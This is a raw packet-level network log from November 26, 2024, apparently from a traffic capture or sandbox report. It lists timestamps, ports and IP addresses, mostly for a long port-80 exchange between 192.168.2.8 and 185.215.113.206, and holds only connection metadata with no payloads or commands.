Nov 26, 2024 08:03:46.459176064 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.459248066 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.459270954 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.459323883 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.460098028 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.460155964 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.460156918 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.460227966 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.460993052 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.461081028 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.461083889 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.461139917 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.461878061 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.461971045 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.461994886 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.462253094 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.462771893 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.462852001 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.462883949 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.462932110 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.463789940 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.463902950 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.463933945 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.464016914 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.464570999 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.464673042 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.464708090 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.464751005 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.465501070 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.465605974 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.465666056 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.465717077 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.466383934 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.466443062 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.466480970 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.466583014 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.467359066 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.467431068 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.467498064 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.468184948 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.468235970 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.468267918 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.468355894 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.469077110 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.469180107 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.469305038 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.469320059 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.469984055 CET	443	49795	204.79.197.203	192.168.2.8
Nov 26, 2024 08:03:46.469995022 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.470062971 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.470284939 CET	49795	443	192.168.2.8	204.79.197.203
Nov 26, 2024 08:03:46.470292091 CET	443	49795	204.79.197.203	192.168.2.8
Nov 26, 2024 08:03:46.470616102 CET	443	49795	204.79.197.203	192.168.2.8
Nov 26, 2024 08:03:46.471543074 CET	49795	443	192.168.2.8	204.79.197.203
Nov 26, 2024 08:03:46.471597910 CET	443	49795	204.79.197.203	192.168.2.8
Nov 26, 2024 08:03:46.522861004 CET	49795	443	192.168.2.8	204.79.197.203
Nov 26, 2024 08:03:46.535583973 CET	443	49796	204.79.197.203	192.168.2.8
Nov 26, 2024 08:03:46.536005974 CET	49796	443	192.168.2.8	204.79.197.203
Nov 26, 2024 08:03:46.536020994 CET	443	49796	204.79.197.203	192.168.2.8
Nov 26, 2024 08:03:46.536501884 CET	443	49796	204.79.197.203	192.168.2.8
Nov 26, 2024 08:03:46.536811113 CET	49796	443	192.168.2.8	204.79.197.203
Nov 26, 2024 08:03:46.536889076 CET	443	49796	204.79.197.203	192.168.2.8
Nov 26, 2024 08:03:46.586076021 CET	49796	443	192.168.2.8	204.79.197.203
Nov 26, 2024 08:03:46.633291960 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.633299112 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.633373022 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.633586884 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.633627892 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.633677959 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.634507895 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.634556055 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.634557962 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.634778023 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.635303974 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.635353088 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.635353088 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.635431051 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.636487007 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.636599064 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.636671066 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.636696100 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.637907982 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.637964964 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.638015032 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.638094902 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.638875961 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.638942003 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.638957977 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.639080048 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.639477015 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.639524937 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.639588118 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.639632940 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.640105963 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.640197992 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.640247107 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.640882969 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.640959024 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.640975952 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.641083002 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.641679049 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.641736984 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.641766071 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.641814947 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.642525911 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.642640114 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.642903090 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.643454075 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.643522978 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.643575907 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.644377947 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.644464016 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.644475937 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.644613028 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.645250082 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.645345926 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.645360947 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.645411015 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.646126986 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.646187067 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.646245956 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.646346092 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.647058010 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.647135973 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.647142887 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.647326946 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.647958994 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.648072958 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.648083925 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.648154974 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.648833990 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.648941994 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.649000883 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.649768114 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.649877071 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.649893999 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.650044918 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.650638103 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.650749922 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.650769949 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.650806904 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.651578903 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.651664019 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.651873112 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.652451038 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.652538061 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.652631998 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.652657032 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.653369904 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.653448105 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.653467894 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.653703928 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.654275894 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.654376984 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.654407024 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.654448032 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.655195951 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.655260086 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.655268908 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.655494928 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.656059027 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.656110048 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.656172037 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.656232119 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.656960011 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.657073021 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.657124996 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.657857895 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.657912970 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.657977104 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.658023119 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.658761978 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.658837080 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.658873081 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.658953905 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.659677029 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.659722090 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.659770012 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.659897089 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.660567999 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.660624981 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.660660982 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.660785913 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.661457062 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.661554098 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.661581039 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.661725998 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.662368059 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.662421942 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.662461042 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.662523985 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.663268089 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.663547993 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.664006948 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.664159060 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.664235115 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.664268017 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.664463997 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.665091038 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.665189028 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.665247917 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.666003942 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.666053057 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.666112900 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.666188955 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.666899920 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.666920900 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.666996002 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.667773962 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.667910099 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.667963982 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.668740988 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.668792009 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.668852091 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.668936014 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.669732094 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.669742107 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.669784069 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.670536995 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.670593977 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.670672894 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.670813084 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.671427965 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.671516895 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.671577930 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.672339916 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.672411919 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.672424078 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.672519922 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.673206091 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.673297882 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.673712969 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.673758984 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.674123049 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.674129963 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.674180031 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.674988985 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.675072908 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.675102949 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.675187111 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.675889969 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.675985098 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.676007986 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.676091909 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.676845074 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.676903963 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.676944017 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.676969051 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.677697897 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.677787066 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.677850008 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.677861929 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.678601027 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.678699017 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.678710938 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.678787947 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.679651976 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.679660082 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.679714918 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.680377960 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.680847883 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.687216997 CET	443	49798	23.209.72.21	192.168.2.8
Nov 26, 2024 08:03:46.687540054 CET	49798	443	192.168.2.8	23.209.72.21
Nov 26, 2024 08:03:46.687566996 CET	443	49798	23.209.72.21	192.168.2.8
Nov 26, 2024 08:03:46.687882900 CET	443	49798	23.209.72.21	192.168.2.8
Nov 26, 2024 08:03:46.688327074 CET	49798	443	192.168.2.8	23.209.72.21
Nov 26, 2024 08:03:46.688375950 CET	443	49798	23.209.72.21	192.168.2.8
Nov 26, 2024 08:03:46.731077909 CET	49798	443	192.168.2.8	23.209.72.21
Nov 26, 2024 08:03:46.826972008 CET	443	49794	104.40.82.182	192.168.2.8
Nov 26, 2024 08:03:46.827003956 CET	443	49794	104.40.82.182	192.168.2.8
Nov 26, 2024 08:03:46.827024937 CET	443	49794	104.40.82.182	192.168.2.8
Nov 26, 2024 08:03:46.827081919 CET	49794	443	192.168.2.8	104.40.82.182
Nov 26, 2024 08:03:46.827155113 CET	443	49794	104.40.82.182	192.168.2.8
Nov 26, 2024 08:03:46.827230930 CET	49794	443	192.168.2.8	104.40.82.182
Nov 26, 2024 08:03:46.827230930 CET	49794	443	192.168.2.8	104.40.82.182
Nov 26, 2024 08:03:46.844002962 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.844063044 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.844130039 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.844382048 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.844430923 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.844502926 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.844691992 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.845335007 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.845341921 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.845381021 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.846187115 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.846333027 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.846371889 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.846402884 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.847115040 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.847182989 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.847213030 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.847285032 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.848053932 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.848129988 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.848170042 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.848190069 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.848917961 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.848989010 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.849020958 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.849194050 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.849817038 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.849916935 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.849977016 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.850898027 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.850958109 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.850999117 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.851077080 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.851697922 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.851763010 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.851778030 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.851805925 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.852560997 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.852616072 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.852663040 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.852730036 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.853445053 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.853620052 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.853703022 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.854306936 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.854430914 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.854489088 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.855243921 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.855282068 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.855329990 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.856152058 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.856204987 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.856257915 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.856430054 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.857047081 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.857144117 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.857197046 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.857928038 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.857999086 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.858042955 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.858083010 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.858824968 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.858881950 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.858922958 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.858964920 CET	49747	80	192.168.2.8	185.215.113.206
